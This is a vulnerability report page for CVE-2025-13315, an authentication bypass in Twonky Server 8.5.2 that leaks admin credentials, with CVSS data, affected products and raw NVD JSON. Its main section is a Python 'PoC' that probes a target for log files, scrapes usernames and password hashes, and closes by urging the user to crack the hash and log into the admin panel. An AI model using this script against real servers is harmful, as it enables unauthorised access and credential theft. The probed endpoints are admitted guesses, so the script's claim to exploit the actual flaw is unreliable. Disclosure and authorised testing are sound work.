Security Vulnerability Report
中文
CVE-2025-13315 CVSS 9.8 CRITICAL

CVE-2025-13315

Published: 2025-11-19 18:15:48
Last Modified: 2025-12-02 16:42:19

Description

Twonky Server 8.5.2 on Linux and Windows is vulnerable to an access control flaw. An unauthenticated attacker can bypass web service API authentication controls to leak a log file and read the administrator's username and encrypted password.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lynxtechnology:twonky_server:8.5.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Twonky Server 8.5.2 (Linux)
Twonky Server 8.5.2 (Windows)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13315 PoC - Twonky Server Authentication Bypass This PoC demonstrates the authentication bypass vulnerability in Twonky Server 8.5.2 that allows unauthorized access to log files containing admin credentials. Note: This code is for educational and authorized testing purposes only. """ import requests import sys import re def exploit_twonky_auth_bypass(target_url): """ Exploit the authentication bypass vulnerability to leak admin credentials """ print(f"[*] Targeting: {target_url}") print("[*] Attempting to bypass authentication...") # Bypass authentication by accessing log endpoint directly # Common log file paths that may contain credentials log_paths = [ "/rpc/get_log", "/log.txt", "/logs/log.txt", "/media/browse?path=/logs", "/config/log", "/api/log", "/sys/log.txt" ] headers = { "User-Agent": "TwonkyServer/8.5.2", "Accept": "*/*" } for log_path in log_paths: try: url = f"{target_url}{log_path}" print(f"[*] Trying: {log_path}") response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: content = response.text # Search for username and password patterns in response username_pattern = r'(?:username|user|login|admin)\s*[=:]\s*(\S+)' password_pattern = r'(?:password|passwd|pwd)\s*[=:]\s*(\S+)' usernames = re.findall(username_pattern, content, re.IGNORECASE) passwords = re.findall(password_pattern, content, re.IGNORECASE) if usernames or passwords: print(f"[+] SUCCESS! Found credentials in {log_path}") if usernames: print(f"[+] Username(s): {', '.join(usernames)}") if passwords: print(f"[+] Password hash(es): {', '.join(passwords)}") return True, content else: print(f"[*] Response received but no credentials found") print(f"[*] Response preview: {content[:500]}...") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {log_path}: {e}") continue print("[-] Exploitation failed - no accessible log files found") return False, None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13315-poc.py <target_url>") print("Example: python cve-2025-13315-poc.py http://192.168.1.100:9000") sys.exit(1) target = sys.argv[1].rstrip('/') success, data = exploit_twonky_auth_bypass(target) if success: print("\n[!] Vulnerability confirmed - credentials exposed") print("[!] Next steps: Crack password hash and login to admin panel")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13315", "sourceIdentifier": "[email protected]", "published": "2025-11-19T18:15:47.843", "lastModified": "2025-12-02T16:42:19.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Twonky Server 8.5.2 on Linux and Windows is vulnerable to an access control flaw. An unauthenticated attacker can bypass web service API authentication controls to leak a log file and read the administrator's username and encrypted password."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-420"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lynxtechnology:twonky_server:8.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "2600D3BC-B694-4D2E-959C-D52A8AC20D74"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}